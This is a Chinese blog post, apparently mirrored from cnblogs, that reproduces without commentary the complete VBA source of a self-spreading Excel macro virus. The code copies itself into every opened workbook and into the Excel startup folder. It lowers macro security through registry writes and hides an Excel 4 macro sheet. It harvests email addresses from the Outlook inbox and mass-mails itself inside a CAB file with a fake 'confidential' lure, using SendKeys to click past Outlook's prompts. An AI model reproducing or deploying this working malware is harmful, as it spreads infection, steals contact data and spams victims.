zoukankan      html  css  js  c++  java
  • 又一个excel病毒,比上次的更牛了

    Private Sub auto_open()
    Application.DisplayAlerts = False
    If ThisWorkbook.Path <> Application.StartupPath Then
      Application.ScreenUpdating = False
      Call delete_this_wk
      Call copytoworkbook
      If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
      ThisWorkbook.Save
      Application.ScreenUpdating = True
    End If
    End Sub
    Private Sub copytoworkbook()
      Const DQUOTE = """"
      With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    .InsertLines 1, "Public WithEvents xx As Application"
    .InsertLines 2, "Private Sub Workbook_open()"
    .InsertLines 3, "Set xx = Application"
    .InsertLines 4, "On Error Resume Next"
    .InsertLines 5, "Application.DisplayAlerts = False"
    .InsertLines 6, "Call do_what"
    .InsertLines 7, "End Sub"
    .InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
    .InsertLines 9, "On Error Resume Next"
    .InsertLines 10, "wb.VBProject.References.AddFromGuid _"
    .InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
    .InsertLines 12, "Major:=5, Minor:=3"
    .InsertLines 13, "Application.ScreenUpdating = False"
    .InsertLines 14, "Application.DisplayAlerts = False"
    .InsertLines 15, "copystart wb"
    .InsertLines 16, "Application.ScreenUpdating = True"
    .InsertLines 17, "End Sub"
    
    End With
    End Sub
    
    Private Sub delete_this_wk()
    Dim VBProj As VBIDE.VBProject
    Dim VBComp As VBIDE.VBComponent
    Dim CodeMod As VBIDE.CodeModule
    
    Set VBProj = ThisWorkbook.VBProject
    Set VBComp = VBProj.VBComponents("ThisWorkbook")
    Set CodeMod = VBComp.CodeModule
    With CodeMod
        .DeleteLines 1, .CountOfLines
    End With
    
    End Sub
    Function do_what()
    If ThisWorkbook.Path <> Application.StartupPath Then
      RestoreAfterOpen
      Call OpenDoor
      Call Microsofthobby
      Call ActionJudge
    End If
    End Function
    Function copystart(ByVal wb As Workbook)
    On Error Resume Next
    
    Dim VBProj1 As VBIDE.VBProject
    Dim VBProj2 As VBIDE.VBProject
    Set VBProj1 = Workbooks("k4.xls").VBProject
    Set VBProj2 = wb.VBProject
    
    If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
    End Function
    
    Function copymodule(ModuleName As String, _
        FromVBProject As VBIDE.VBProject, _
        ToVBProject As VBIDE.VBProject, _
        OverwriteExisting As Boolean) As Boolean
       
        On Error Resume Next
    
        Dim VBComp As VBIDE.VBComponent
        Dim FName As String
        Dim CompName As String
        Dim S As String
        Dim SlashPos As Long
        Dim ExtPos As Long
        Dim TempVBComp As VBIDE.VBComponent
        
        If FromVBProject Is Nothing Then
            copymodule = False
            Exit Function
        End If
        
        If Trim(ModuleName) = vbNullString Then
            copymodule = False
            Exit Function
        End If
        
        If ToVBProject Is Nothing Then
            copymodule = False
            Exit Function
        End If
        
        If FromVBProject.Protection = vbext_pp_locked Then
            copymodule = False
            Exit Function
        End If
        
        If ToVBProject.Protection = vbext_pp_locked Then
            copymodule = False
            Exit Function
        End If
        
        On Error Resume Next
        Set VBComp = FromVBProject.VBComponents(ModuleName)
        If Err.Number <> 0 Then
            copymodule = False
            Exit Function
        End If
       
        FName = Environ("Temp") & "\" & ModuleName & ".bas"
        If OverwriteExisting = True Then
           
            If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
                Err.Clear
                Kill FName
                If Err.Number <> 0 Then
                    copymodule = False
                    Exit Function
                End If
            End If
            With ToVBProject.VBComponents
                .Remove .Item(ModuleName)
            End With
        Else
            
            Err.Clear
            Set VBComp = ToVBProject.VBComponents(ModuleName)
            If Err.Number <> 0 Then
                If Err.Number = 9 Then
                   
                Else
                   
                    copymodule = False
                    Exit Function
                End If
            End If
        End If
       
        FromVBProject.VBComponents(ModuleName).Export FileName:=FName
       
        SlashPos = InStrRev(FName, "\")
        ExtPos = InStrRev(FName, ".")
        CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
        
        Set VBComp = Nothing
        Set VBComp = ToVBProject.VBComponents(CompName)
        
        If VBComp Is Nothing Then
            ToVBProject.VBComponents.Import FileName:=FName
        Else
            If VBComp.Type = vbext_ct_Document Then
                
                Set TempVBComp = ToVBProject.VBComponents.Import(FName)
               
                With VBComp.CodeModule
                    .DeleteLines 1, .CountOfLines
                    S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
                    .InsertLines 1, S
                End With
                On Error GoTo 0
                ToVBProject.VBComponents.Remove TempVBComp
            End If
        End If
        Kill FName
        copymodule = True
    End Function
    
    Function Microsofthobby()
    Dim myfile0 As String
    Dim MyFile As String
    On Error Resume Next
    myfile0 = ThisWorkbook.FullName
    MyFile = Application.StartupPath & "\k4.xls"
    If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False
    Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
    Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
    Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
    
    If ThisWorkbook.Path <> Application.StartupPath Then
         Application.ScreenUpdating = False
         ThisWorkbook.IsAddin = True
         ThisWorkbook.SaveCopyAs MyFile
         ThisWorkbook.IsAddin = False
         Application.ScreenUpdating = True
    End If
    End Function
    
    Function OpenDoor()
    Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
    Dim KValue1 As Variant, KValue2 As Variant
    Dim VS As String
    On Error Resume Next
    VS = Application.Version
    Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
    
    RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
    RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
    RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
    RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
    
    KValue1 = 1
    KValue2 = 1
    
          Call WReg(RK1, KValue1, "REG_DWORD")
          Call WReg(RK2, KValue2, "REG_DWORD")
          Call WReg(RK3, KValue1, "REG_DWORD")
          Call WReg(RK4, KValue2, "REG_DWORD")
    
    End Function
    
    Sub WReg(strkey As String, Value As Variant, ValueType As String)
        Dim oWshell
        Set oWshell = CreateObject("WScript.Shell")
        If ValueType = "" Then
            oWshell.RegWrite strkey, Value
        Else
            oWshell.RegWrite strkey, Value, ValueType
        End If
        Set oWshell = Nothing
    End Sub
    
    
    Private Sub Movemacro4(ByVal wb As Workbook)
    On Error Resume Next
    
      Dim sht As Object
    
        wb.Sheets(1).Select
        Sheets.Add Type:=xlExcel4MacroSheet
        ActiveSheet.Name = "Macro1"
       
        Range("A2").Select
        ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
        Range("A3").Select
        ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
        Range("A4").Select
        ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏,关闭 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
        Range("A5").Select
        ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
        Range("A6").Select
        ActiveCell.FormulaR1C1 = "=END.IF()"
        Range("A7").Select
        ActiveCell.FormulaR1C1 = "=RETURN()"
        
        For Each sht In wb.Sheets
        wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
        Next
        wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
    End Sub
    
    Private Function WorkbookOpen(WorkBookName As String) As Boolean
      WorkbookOpen = False
      On Error GoTo WorkBookNotOpen
      If Len(Application.Workbooks(WorkBookName).Name) > 0 Then
        WorkbookOpen = True
        Exit Function
      End If
    WorkBookNotOpen:
    End Function
    
    Private Sub ActionJudge()
    Const T1 As Date = "10:00:00"
    Const T2 As Date = "11:00:00"
    Const T3 As Date = "14:00:00"
    Const T4 As Date = "15:00:00"
    Dim SentTime As Date, WshShell
    
    Set WshShell = CreateObject("WScript.Shell")
    If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command\")), "OUTLOOK.EXE") > 0 Then Exit Sub
    
    If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
          If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
               Exit Sub
          Else
               CreateFile "1", "D:\Collected_Address:frag1.txt"
               search_in_OL
          End If
    Else
         If Not if_outlook_open Then Exit Sub
         If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then
              Exit Sub
         Else
              SentTime = DateAdd("n", -21, Now)
              On Error GoTo timeError
              SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
    timeError:
              If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then
                    Exit Sub
              Else
                    CreateFile "", "D:\Collected_Address:frag1.txt"
                    CreateFile Now, "D:\Collected_Address:frag2.txt"
                    CreatCab_SendMail
              End If
         End If
    End If
    End Sub
    
    
    Private Sub search_in_OL()
    Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object
    
    On Error Resume Next
    Set fs = CreateObject("scripting.filesystemobject")
    Set WshShell = CreateObject("WScript.Shell")
    
    If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
    AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
    AddVbsFile_clear = "E:\KK\" & AttName & "_clear.vbs"
    i = FreeFile
    Open AddVbsFile_clear For Output Access Write As #i
    
    Print #i, "On error Resume Next"
    Print #i, "Dim wsh, tle, T0, i"
    Print #i, "  T0 = Timer"
    Print #i, "  Set wsh=createobject(""" & "wscript.shell""" & ")"
    Print #i, "  tle = """ & "Microsoft Office Outlook""" & ""
    Print #i, "For i = 1 To 1000"
    Print #i, "    If Timer - T0 > 60 Then Exit For"
    Print #i, "  Call Refresh()"
    Print #i, "  wscript.sleep 05"
    Print #i, "  wsh.sendKeys """ & "%a""" & ""
    Print #i, "  wscript.sleep 05"
    Print #i, "  wsh.sendKeys """ & "{TAB}{TAB}""" & ""
    Print #i, "  wscript.sleep 05"
    Print #i, "  wsh.sendKeys """ & "{Enter}""" & ""
    Print #i, "Next"
    Print #i, "Set wsh = Nothing"
    Print #i, "wscript.quit"
    Print #i, "Sub Refresh()"
    Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"
    Print #i, "    If Timer - T0 > 60 Then Exit Sub"
    Print #i, "Loop"
    Print #i, "  wscript.sleep 05"
    Print #i, "    wsh.SendKeys """ & "%{F4}""" & ""
    Print #i, "End Sub"
    Close (i)
    
    AddVbsFile_search = "E:\KK\" & AttName & "_Search.vbs"
    i = FreeFile
    Open AddVbsFile_search For Output Access Write As #i
    
    Print #i, "On error Resume Next"
    Print #i, "Const olFolderInbox = 6"
    Print #i, "Dim conbinded_address,WshShell,sh,ts"
    Print #i, "Set WshShell=WScript.CreateObject(""" & "WScript.Shell""" & ")"
    Print #i, "Set objOutlook = CreateObject(""" & "Outlook.Application""" & ")"
    Print #i, "Set objNamespace = objOutlook.GetNamespace(""" & "MAPI""" & ")"
    Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"
    Print #i, "Set TargetFolder = objFolder"
    Print #i, "conbinded_address = """ & """" & ""
    Print #i, "Set colItems = TargetFolder.Items"
    Print #i, "wscript.sleep 300000"
    Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"
    Print #i, "ts = Timer"
    Print #i, "For Each objMessage in colItems"
    Print #i, "       If Timer - ts >55 then exit For"
    Print #i, "       conbinded_address = conbinded_address & valid_address(objMessage.Body)"
    Print #i, "Next"
    Print #i, "add_text conbinded_address, 8"
    Print #i, "add_text all_non_same(ReadAllTextFile), 2"
    Print #i, "WScript.Quit"
    Print #i, ""
    Print #i, "Private Function valid_address(source_data)"
    Print #i, "   Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"
    Print #i, "   Dim regex, matchs, ss, arr()"
    Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
    Print #i, "   Set regex = CreateObject(""" & "VBSCRIPT.REGEXP""" & ")"
    Print #i, ""
    Print #i, "   regex.Global = True"
    Print #i, "   regex.Pattern = """ & "\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*""" & ""
    Print #i, "   Set matchs = regex.Execute(source_data)"
    Print #i, "   ReDim trimed_arr(matchs.Count - 1)"
    Print #i, "   For i = Lbound(trimed_arr) To Ubound(trimed_arr)"
    Print #i, "        trimed_arr(i) = matchs.Item(i) & vbCrLf"
    Print #i, "   Next"
    Print #i, ""
    Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
    Print #i, "        oDict(trimed_arr(i)) = """ & """" & ""
    Print #i, "   Next"
    Print #i, ""
    Print #i, "   If oDict.Count > 0 Then"
    Print #i, "        nonsame_arr = oDict.keys"
    Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
    Print #i, "             valid_address = valid_address & nonsame_arr(i)"
    Print #i, "        Next"
    Print #i, "   End If"
    Print #i, "   Set oDict = Nothing"
    Print #i, "End Function"
    Print #i, ""
    Print #i, "Private Sub add_text(inputed_string, input_frag)"
    Print #i, "   Dim objFSO, logfile, logtext, log_path, log_folder"
    Print #i, "   log_path = """ & "D:\Collected_Address""" & ""
    Print #i, "   Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
    Print #i, "   On Error resume next"
    Print #i, "   Set log_folder = objFSO.CreateFolder(log_path)"
    Print #i, ""
    Print #i, "   If objFSO.FileExists(log_path & """ & "\log.txt""" & ") = 0 Then"
    Print #i, "       Set logfile = objFSO.CreateTextFile(log_path & """ & "\log.txt""" & ", True)"
    Print #i, "   End If"
    Print #i, "   Set log_folder = Nothing"
    Print #i, "   Set logfile = Nothing"
    Print #i, ""
    Print #i, "   Select Case input_frag"
    Print #i, "     Case 8"
    Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 8, True, -1)"
    Print #i, "          logtext.Write inputed_string"
    Print #i, "          logtext.Close"
    Print #i, "     Case 2"
    Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 2, True, -1)"
    Print #i, "          logtext.Write inputed_string"
    Print #i, "          logtext.Close"
    Print #i, "   End Select"
    Print #i, "   set objFSO = nothing"
    Print #i, "End Sub"
    Print #i, ""
    Print #i, "Private Function ReadAllTextFile()"
    Print #i, "    Dim objFSO, FileName, MyFile"
    Print #i, "    FileName = """ & "D:\Collected_Address\log.txt""" & ""
    Print #i, "    Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
    Print #i, "    Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"
    Print #i, "    If MyFile.AtEndOfStream Then"
    Print #i, "        ReadAllTextFile = """ & """" & ""
    Print #i, "    Else"
    Print #i, "        ReadAllTextFile = MyFile.ReadAll"
    Print #i, "    End If"
    Print #i, "set objFSO = nothing"
    Print #i, "End Function"
    Print #i, ""
    Print #i, "Private Function all_non_same(source_data)"
    Print #i, "   Dim oDict, i, trimed_arr, nonsame_arr"
    Print #i, "   all_non_same = """ & """" & ""
    Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
    Print #i, ""
    Print #i, "   trimed_arr = Split(source_data, vbCrLf)"
    Print #i, ""
    Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
    Print #i, "         oDict(trimed_arr(i)) = """ & """" & ""
    Print #i, "   Next"
    Print #i, ""
    Print #i, "   If oDict.Count > 0 Then"
    Print #i, "        nonsame_arr = oDict.keys"
    Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
    Print #i, "             all_non_same = all_non_same & nonsame_arr(i) & vbCrLf"
    Print #i, "        Next"
    Print #i, "   End If"
    Print #i, "   Set oDict = Nothing"
    Print #i, "End Function"
    Close (i)
    Application.WindowState = xlMaximized
    WshShell.Run ("wscript.exe " & AddVbsFile_search), vbHide, False
    Set WshShell = Nothing
    End Sub
    
    Private Sub CreatCab_SendMail()
    Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
    Dim fs As Object, WshShell As Object
    Address_list = get_ten_address
    
    Set WshShell = CreateObject("WScript.Shell")
    Set fs = CreateObject("scripting.filesystemobject")
    If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"
    AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
    mail_sub = "*" & AttName & "*Message*"
    AddVbsFile = "E:\sorce\" & AttName & "_Key.vbs"
    i = FreeFile
    Open AddVbsFile For Output Access Write As #i
        
    Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"
    Print #i, "On error Resume Next"
    Print #i, "Set sh=WScript.CreateObject(""" & "shell.application""" & ")"
    Print #i, "sh.MinimizeAll"
    Print #i, "Set sh = Nothing"
    Print #i, "Set Fso = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
    Print #i, "Set WshShell = WScript.CreateObject(""" & "WScript.Shell""" & ")"
    Print #i, "If Fso.Folderexists(""" & "E:\KK""" & ") = False Then Fso.CreateFolder """ & "E:\KK"""
    Print #i, "Fso.CopyFile  _"
    Print #i, "WshShell.CurrentDirectory & """ & "\" & AttName & "*.CAB""" & "," & " " & """E:\KK\""" & ", True"
    Print #i, "For Each Atta_xls In ListDir(""" & "E:\KK""" & ")"
    Print #i, "   WshShell.Run """ & "expand """ & " & Atta_xls & """ & " -F:" & AttName & ".xls E:\KK""" & ", 0, true"
    Print #i, "Next"
    Print #i, "If Fso.FileExists(""" & "E:\KK\" & AttName & ".xls""" & ") = 0 then"
    Print #i, "        route = WshShell.CurrentDirectory & """ & "\" & AttName & ".xls"""
    Print #i, "        if Fso.FileExists(WshShell.CurrentDirectory & """ & "\" & AttName & ".xls""" & ")=0 then"
    Print #i, "                 route = InputBox(""" & "Warning! """ & " & Chr(10) & """ & "You are going to open a confidential file.""" & "& Chr(10)   _"
    Print #i, "                               & """ & "Please input the complete file path.""" & " & Chr(10) & """ & "ex. C:\parth\confidential_file.xls""" & ", _"
    Print #i, "                               """ & "Open a File""" & " , """ & "Please Input the Complete File Path""" & ", 10000, 8500)"
    Print #i, "        End if"
    Print #i, "else"
    Print #i, "        route = """ & "E:\KK\" & AttName & ".xls"""
    Print #i, "End If"
    Print #i, "   set oexcel=createobject(""" & "excel.application""" & ")"
    Print #i, "   set owb=oexcel.workbooks.open(route)"
    Print #i, "   oExcel.Visible = True"
    Print #i, "Set oExcel = Nothing"
    Print #i, "Set oWb = Nothing"
    Print #i, "Set  WshShell = Nothing"
    Print #i, "Set Fso = Nothing"
    Print #i, "WScript.Quit"
    Print #i, "Private Function ListDir (ByVal Path)"
    Print #i, "   Dim Filter, a, n, Folder, Files, File"
    Print #i, "       ReDim a(10)"
    Print #i, "    n = 0"
    Print #i, "  Set Folder = fso.GetFolder(Path)"
    Print #i, "   Set Files = Folder.Files"
    Print #i, "   For Each File In Files"
    Print #i, "      If left(File.Name," & Len(AttName) & ") = """ & AttName & """ and right(File.Name,3) = """ & "CAB""" & " Then"
    Print #i, "         If n > UBound(a) Then ReDim Preserve a(n*2)"
    Print #i, "            a(n) = File.Path"
    Print #i, "            n = n + 1"
    Print #i, "       End If"
    Print #i, "   Next"
    Print #i, "   ReDim Preserve a(n-1)"
    Print #i, "   ListDir = a"
    Print #i, "End Function"
    
    Close (i)
    AddListFile = ThisWorkbook.Path & "\TEST.txt"
    i = FreeFile
    Open AddListFile For Output Access Write As #i
    Print #i, "E:\sorce\" & AttName & "_Key.vbs"
    Print #i, "E:\sorce\" & AttName & ".xls"
    Close (i)
    
    Application.ScreenUpdating = False
    RestoreBeforeSend
    ThisWorkbook.SaveCopyAs "E:\sorce\" & AttName & ".xls"
    RestoreAfterOpen
    c4$ = CurDir()
    ChDrive Left(ThisWorkbook.Path, 3) '"C:\"
    ChDir ThisWorkbook.Path
    WshShell.Run Environ$("comspec") & " /c makecab /F """ & ThisWorkbook.Path & "\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" & AttName & ".CAB", vbHide, False
    
    Do Until fs.FileExists(ThisWorkbook.Path & "\TEST.txt") _
    And fs.FileExists(ThisWorkbook.Path & "\setup.rpt") And fs.FileExists(ThisWorkbook.Path & "\setup.inf") _
    And fs.FileExists(ThisWorkbook.Path & "\" & AttName & ".CAB")
    DoEvents
    Loop
    
    WshShell.Run Environ$("comspec") & " /c RD /S /Q """ & ThisWorkbook.Path & "\disk1""", vbHide, False
    WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\TEST.txt""", vbHide, False
    WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.rpt""", vbHide, False
    WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.inf""", vbHide, False
    WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\sorce", vbHide, False
    
    If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
    WshShell.Run Environ$("comspec") & " /c MOVE /Y " & AttName & ".CAB E:\KK""", vbHide, False
    ChDir c4$
    Call Massive_SendMail(Address_list, AttName, "Dear all," & vbCrLf & AttName & vbCrLf & "FYI", _
    "", "E:\KK\" & AttName & ".CAB")
    WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\KK", vbHide, False
    Set WshShell = Nothing
    Application.ScreenUpdating = True
    End Sub
    
    Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
        Dim objOL As Object
        Dim itmNewMail As Object
        If Not if_outlook_open Then Exit Sub
        
        Set objOL = CreateObject("Outlook.Application")
        Set itmNewMail = objOL.CreateItem(olMailItem)
        
        With itmNewMail
            .Subject = Subject
            .Body = Body
            .To = Email_Address
            .CC = CC_email_add
            .Attachments.Add Attachment
            .DeleteAfterSubmit = True
        End With
        On Error GoTo continue
    SendEmail:
        itmNewMail.display
        Debug.Print "setforth "
        DoEvents
        DoEvents
        DoEvents
        SendKeys "%s", Wait:=True
        DoEvents
        GoTo SendEmail
    continue:
        Set objOL = Nothing
        Set itmNewMail = Nothing
    End Sub
    
    Private Function if_outlook_open() As Boolean
    Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
    if_outlook_open = False
    For Each obj In objs
    If InStr(obj.Description, "OUTLOOK") > 0 Then
    if_outlook_open = True
    Exit For
    End If
    Next
    End Function
    
    Private Function RadomNine(length As Integer) As String
     Dim jj As Integer, k As Integer, i As Integer
     RadomNine = ""
     If length <= 0 Then Exit Function
     If length <= 10 Then
         For i = 1 To length
         RadomNine = RadomNine & "$$" & i
         Next i
         Exit Function
     End If
     jj = length / 10
     Randomize
     For i = 1 To 10
          k = Int(Rnd * (jj * i - m - 1)) + 1
          If m + k <> 1 Then RadomNine = RadomNine & "$$" & m + k
          m = m + k
     Next
    End Function
    Private Function get_ten_address() As String
    Dim singleAddress_arr, krr, i As Integer
    get_ten_address = ""
    singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)
    krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")
    For i = 1 To UBound(krr)
    get_ten_address = get_ten_address & ";" & singleAddress_arr(CInt(krr(i)) - 1)
    Next i
    End Function
    
    Private Function ReadOut(FullPath) As String
        On Error Resume Next
        Dim Fso, FileText
        Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
        Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
        ReadOut = FileText.ReadAll
        FileText.Close
    End Function
    
    Private Sub CreateFile(FragMark, pathf)
        On Error Resume Next
        Dim Fso, FileText
        Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
        If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
        If Fso.FileExists(pathf) Then
            Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
            FileText.Write FragMark
            FileText.Close
        Else
            Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
            FileText.Write FragMark
            FileText.Close
        End If
    End Sub
    
    
    Private Sub RestoreBeforeSend()
    Dim aa As Name, i_row As Integer, i_col As Integer
    Dim sht As Object
    Application.ScreenUpdating = False
    Application.DisplayAlerts = False
    On Error Resume Next
    For Each aa In ThisWorkbook.Names
         aa.Visible = True
         If Split(aa.Name, "!")(1) = "Auto_Activate" Then aa.Delete
    Next
    For Each sht In ThisWorkbook.Sheets
         If sht.Name = "Macro1" Then
         sht.Visible = xlSheetVisible
         sht.Delete
         End If
    Next
    Sheets(1).Select
    Sheets.Add
    For Each sht In ThisWorkbook.Sheets
         If sht.Name <> Sheets(1).Name Then sht.Visible = xlSheetVeryHidden
    Next
    i_row = Int((15 * Rnd) + 1)
    i_col = Int((6 * Rnd) + 1)
    Cells(i_row, i_col) = "** CONFIDENTIAL! ** "
    Cells(i_row + 2, i_col) = "Use " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " To Open This File."
    Cells(i_row + 3, i_col) = "请用 " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " 解锁此文件."
    With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
         .Font.Bold = True
         .Font.ColorIndex = 3
    End With
    Application.ScreenUpdating = True
    End Sub
    
    Private Function RestoreAfterOpen()
    Dim sht, del_sht, rng, del_frag As Boolean
    On Error Resume Next
    del_sht = ActiveSheet.Name
    Application.ScreenUpdating = False
    Application.DisplayAlerts = False
    For Each sht In ThisWorkbook.Sheets
        If sht.Name <> "Macro1" Then sht.Visible = xlSheetVisible
    Next
    For Each rng In Sheets(del_sht).Range("A1:F15")
    If InStr(rng.Value, "CONFIDENTIAL") > 0 Then
    del_frag = True
    Exit For
    End If
    Next
    If del_frag = True Then Sheets(del_sht).Delete
    Application.ScreenUpdating = True
    
    End Function
  • 相关阅读:
    jQuery 文本框得失焦点应用
    .NET 学习书籍推荐
    Android开发常见问题小结
    如何使用别人项目源码
    Android相关学习资料整理
    Android网络文件下载模块整理
    父类方法扩展
    继承后构造函数的关系
    私有属性和私有方法l
    面向对象
  • 原文地址:https://www.cnblogs.com/szyicol/p/2536218.html
Copyright © 2011-2022 走看看